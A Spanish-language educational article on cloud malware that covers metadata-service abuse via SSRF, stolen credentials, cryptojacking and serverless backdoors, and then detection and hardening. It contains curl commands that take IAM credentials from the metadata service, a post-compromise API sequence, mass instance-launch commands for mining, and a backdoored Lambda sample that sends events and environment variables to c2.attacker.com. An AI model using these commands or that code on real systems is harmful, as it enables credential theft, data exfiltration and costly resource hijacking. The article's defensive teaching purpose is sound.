Cloud Malware: AWS, GCP y Azure en la Mira de los Atacantes
Análisis de malware y amenazas en entornos cloud. Abuso de metadata services, credenciales cloud robadas, cryptojacking en Lambda/Functions, malware en serverless, SSRF como vector, y detección con CloudTrail, GuardDuty y herramientas cloud-native.
El cloud no es inmune al malware
La migración a cloud no eliminó el malware: lo transformó. Los servidores siguen ejecutando Linux, las vulnerabilidades siguen existiendo, y las credenciales siguen siendo robables. Lo que cambió es la superficie de ataque: ahora incluye APIs cloud (IAM, S3, Lambda), metadata services, y una infraestructura que se puede crear y destruir con una sola llamada a API.
El atacante que compromete credenciales de AWS con permisos amplios puede generar facturas de cientos de miles de dólares en horas creando instancias de minería en todas las regiones disponibles.
Vectores de ataque específicos del cloud
SSRF al Instance Metadata Service (IMDS)
El vector más conocido en cloud. IMDS es accesible en http://169.254.169.254 desde toda instancia:
# Desde una instancia EC2 comprometida (o via SSRF):
# Obtener credenciales IAM del role asignado a la instancia
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Output: MyEC2Role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/MyEC2Role
# Output:
# {
# "AccessKeyId": "ASIAXXXXXXXXXXXXXXXX",
# "SecretAccessKey": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
# "Token": "XXXXXXXX...",
# "Expiration": "2026-05-21T12:00:00Z"
# }
# Estas credenciales pueden usarse fuera de la instancia:
export AWS_ACCESS_KEY_ID=ASIAXXXXXXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
export AWS_SESSION_TOKEN=XXXXXXXX...
aws s3 ls # Listar todos los buckets S3
aws iam list-users # Listar usuarios IAM
Caso real: Capital One (2019)
Paige Thompson explotó una vulnerabilidad SSRF en un WAF (Web Application Firewall) de Capital One en AWS:
- SSRF permitió consultar IMDS desde el WAF
- Obtuvo credenciales IAM del role asignado al WAF
- Con esas credenciales, accedió a buckets S3 con datos de 100 millones de clientes
- Sentenciada a 5 años de prisión
Mitigación: IMDSv2
AWS IMDSv2 requiere un token de sesión para acceder al metadata:
# IMDSv2: requiere PUT request con header especifico
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
SSRF simples (GET requests) no pueden obtener el token. Habilitar IMDSv2 como requerido es la mitigación más importante.
Credenciales cloud comprometidas
| Vector de robo | Descripción |
|---|---|
| Credenciales hardcodeadas en código | API keys en repositorios GitHub (public o private comprometido) |
| Variables de entorno | Exfiltración de env vars (CI/CD, Lambda) |
| Infostealers | Malware que roba archivos de credenciales (~/.aws/credentials) |
| Phishing | Phishing de consola cloud (login falso de AWS/GCP/Azure) |
| IMDS via SSRF | Robo de credenciales temporales del metadata service |
| Compromiso de CI/CD | Acceso a secrets de GitHub Actions, GitLab CI, Jenkins |
| Supply chain | Paquetes maliciosos que leen env vars con credenciales |
API abuse post-compromiso
Fase 1: Reconocimiento
sts:GetCallerIdentity # Quien soy?
iam:ListUsers # Que usuarios existen?
iam:ListRoles # Que roles existen?
s3:ListBuckets # Que buckets hay?
ec2:DescribeInstances # Que instancias hay?
lambda:ListFunctions # Que funciones Lambda hay?
Fase 2: Escalada
iam:CreateUser # Crear usuario para persistencia
iam:AttachUserPolicy # Dar permisos amplios al nuevo usuario
iam:CreateAccessKey # Crear API key para acceso permanente
iam:PassRole # Asumir un role con mas permisos
sts:AssumeRole # Cross-account access
Fase 3: Impacto
ec2:RunInstances # Crear instancias para cryptomining
s3:GetObject # Exfiltrar datos de buckets
lambda:UpdateFunctionCode # Inyectar codigo en funciones existentes
rds:CreateDBSnapshot + rds:ModifyDBSnapshotAttribute # Exfiltrar DB
Cryptojacking en cloud
Patrón: crear instancias de minería
1. Atacante obtiene credenciales AWS con permisos EC2
2. Ejecuta en todas las regiones disponibles:
aws ec2 run-instances --instance-type p3.16xlarge --count 20 --region us-east-1
aws ec2 run-instances --instance-type p3.16xlarge --count 20 --region eu-west-1
aws ec2 run-instances --instance-type p3.16xlarge --count 20 --region ap-southeast-1
...
3. Cada instancia p3.16xlarge tiene 8 GPUs NVIDIA V100
4. User-data script instala y ejecuta XMRig automaticamente
5. Factura de la victima: 30-50 USD/hora por instancia × 60 instancias = ~2000 USD/hora
6. Si pasa un fin de semana sin deteccion: ~100.000+ USD
Caso real: múltiples incidentes
- Un desarrollador que expuso credenciales AWS en GitHub descubrió una factura de $45.000 en 3 días
- Una startup reportó $100.000 en cargos de EC2 tras compromiso de credenciales
Detección de cryptojacking cloud
| Indicador | Servicio de detección |
|---|---|
| Creación de instancias en regiones no usadas | CloudTrail + alerta |
| Instancias de tipo GPU (p3, p4, g5) inesperadas | CloudTrail + billing alerts |
| Pico de costes repentino | AWS Cost Explorer alerts, GCP Budget alerts |
| Creación de usuarios IAM no autorizados | GuardDuty, CloudTrail |
| API calls desde IPs no corporativas | CloudTrail + IP allowlist |
Malware en funciones serverless
Escenarios
| Escenario | Descripción |
|---|---|
| Code injection en Lambda | Atacante modifica el código de una función Lambda existente para exfiltrar datos o ejecutar minería durante las invocaciones |
| Layer malicioso | Publicar un Lambda Layer malicioso que se añade a funciones legítimas |
| Event-driven backdoor | Crear una función Lambda trigereada por eventos de CloudTrail que exfiltra datos continuamente |
| Dependency injection | Añadir dependencia maliciosa al paquete de la función |
Ejemplo: backdoor en Lambda
# Funcion Lambda original: procesa pagos
def handler(event, context):
process_payment(event) # Logica legitima
return {"statusCode": 200}
# Funcion Lambda comprometida:
import urllib.request
import json
import os
def handler(event, context):
# Exfiltrar el evento (puede contener datos de pago)
urllib.request.urlopen(urllib.request.Request(
"https://c2.attacker.com/exfil",
data=json.dumps({"event": event, "env": dict(os.environ)}).encode()
))
# Ejecutar logica legitima para no levantar sospechas
process_payment(event)
return {"statusCode": 200}
Detección en entornos cloud
AWS
| Herramienta | Tipo | Qué detecta |
|---|---|---|
| CloudTrail | Audit log | Toda llamada a API de AWS |
| GuardDuty | Threat detection | Comportamiento anómalo, credenciales comprometidas, cryptomining |
| Security Hub | Aggregador | Consolida findings de GuardDuty, Inspector, Macie |
| Inspector | Vulnerability scanner | Vulnerabilidades en EC2 e imágenes de contenedor |
| Macie | Data security | Datos sensibles en S3 |
| Detective | Investigation | Análisis forense de findings |
GCP
| Herramienta | Tipo | Qué detecta |
|---|---|---|
| Cloud Audit Logs | Audit log | Toda actividad en GCP |
| Security Command Center | Threat detection | Vulnerabilidades, amenazas, misconfigurations |
| Chronicle | SIEM | Análisis de logs con threat intel de Google |
| Binary Authorization | Container security | Verificar imágenes antes de despliegue |
Azure
| Herramienta | Tipo | Qué detecta |
|---|---|---|
| Azure Activity Log | Audit log | Operaciones en recursos Azure |
| Microsoft Defender for Cloud | CSPM + CWPP | Vulnerabilidades, amenazas, compliance |
| Microsoft Sentinel | SIEM | Análisis de logs con ML |
Queries de detección para CloudTrail
-- Creacion de instancias en regiones inusuales
SELECT eventTime, userIdentity.arn, awsRegion,
requestParameters.instanceType
FROM cloudtrail_logs
WHERE eventName = 'RunInstances'
AND awsRegion NOT IN ('eu-west-1', 'us-east-1') -- regiones normales
ORDER BY eventTime DESC;
-- Creacion de usuarios IAM
SELECT eventTime, userIdentity.arn,
requestParameters.userName
FROM cloudtrail_logs
WHERE eventName IN ('CreateUser', 'CreateAccessKey', 'AttachUserPolicy')
ORDER BY eventTime DESC;
-- Acceso al metadata service (IMDS)
-- (requiere VPC Flow Logs, no CloudTrail)
SELECT srcAddr, dstAddr, dstPort
FROM vpc_flow_logs
WHERE dstAddr = '169.254.169.254'
AND srcAddr NOT IN ('expected_instance_ips');
Hardening cloud
AWS
| Medida | Prioridad |
|---|---|
| IMDSv2 requerido en todas las instancias | Critica |
| MFA en root account y todos los usuarios IAM | Critica |
| Billing alerts con threshold bajo (ej. 500 USD/día) | Critica |
| GuardDuty habilitado en todas las regiones | Critica |
| CloudTrail habilitado en todas las regiones | Critica |
| SCPs (Service Control Policies) para limitar regiones y tipos de instancia | Alta |
| No usar credenciales long-lived (usar roles en vez de access keys) | Alta |
| Rotar credenciales regularmente | Alta |
| VPC endpoints para servicios AWS (evitar tráfico por Internet) | Media |
Multi-cloud
| Medida | Descripción |
|---|---|
| Principio de mínimo privilegio | IAM policies con permisos específicos, no * |
| No credenciales en código | Usar secrets managers (AWS Secrets Manager, GCP Secret Manager, Azure Key Vault) |
| Monitorizar costes | Alertas de coste en tiempo real |
| Inventario de recursos | Saber qué existe en cada región y cuenta |
| Eliminar recursos no usados | Instancias, funciones, roles sin uso = superficie de ataque innecesaria |
Mapeo MITRE ATT&CK (Cloud)
| Técnica | ID | Contexto cloud |
|---|---|---|
| Valid Accounts: Cloud Accounts | T1078.004 | Credenciales cloud comprometidas |
| Cloud Service Discovery | T1580 | Enumeración de servicios y recursos |
| Cloud Service Dashboard | T1538 | Acceso a consola cloud |
| Modify Cloud Compute Infrastructure | T1578 | Crear/modificar instancias para mining |
| Data from Cloud Storage | T1530 | Exfiltrar datos de S3/GCS/Blob |
| Unsecured Credentials: Cloud Instance Metadata | T1552.005 | IMDS abuse |
| Resource Hijacking | T1496 | Cryptomining en instancias |
| Steal Application Access Token | T1528 | Robo de tokens OAuth/service accounts |
Fuentes y referencias
- Sysdig. "2024 Cloud Threat Report." Sysdig.
- Unit 42 (Palo Alto). "Cloud Threat Report 2024." Palo Alto Networks.
- AWS. "Best Practices for Security, Identity & Compliance." AWS Well-Architected.
- AWS. "Instance Metadata Service Version 2 (IMDSv2)." AWS Docs.
- GCP. "Security Best Practices." Google Cloud Documentation.
- Microsoft. "Azure Security Best Practices." Microsoft Docs.
- MITRE ATT&CK. "Cloud Matrix." https://attack.mitre.org/matrices/enterprise/cloud/
- Rhino Security Labs. "Cloud Attack Techniques." https://rhinosecuritylabs.com/
- HackTricks Cloud. "Cloud Security Wiki." https://cloud.hacktricks.xyz/
- Capital One Data Breach. "U.S. v. Paige Thompson." DOJ, 2019.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Malware en Contenedores: Docker y Kubernetes como Superficie de Ataque
Cryptominers en Linux: Detección, Respuesta y Cómo Eliminan a la Competencia
Supply Chain en Paquetes Linux: npm, pip y cargo como Vectores de Ataque
Reglas Sigma: Sintaxis, Estructura y Tu Primer Caso Práctico
Sigma para Lateral Movement: 8 Reglas de Detección de Movimiento Lateral
Sigma para Ransomware: 10 Reglas que Todo SOC Necesita Desplegadas
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.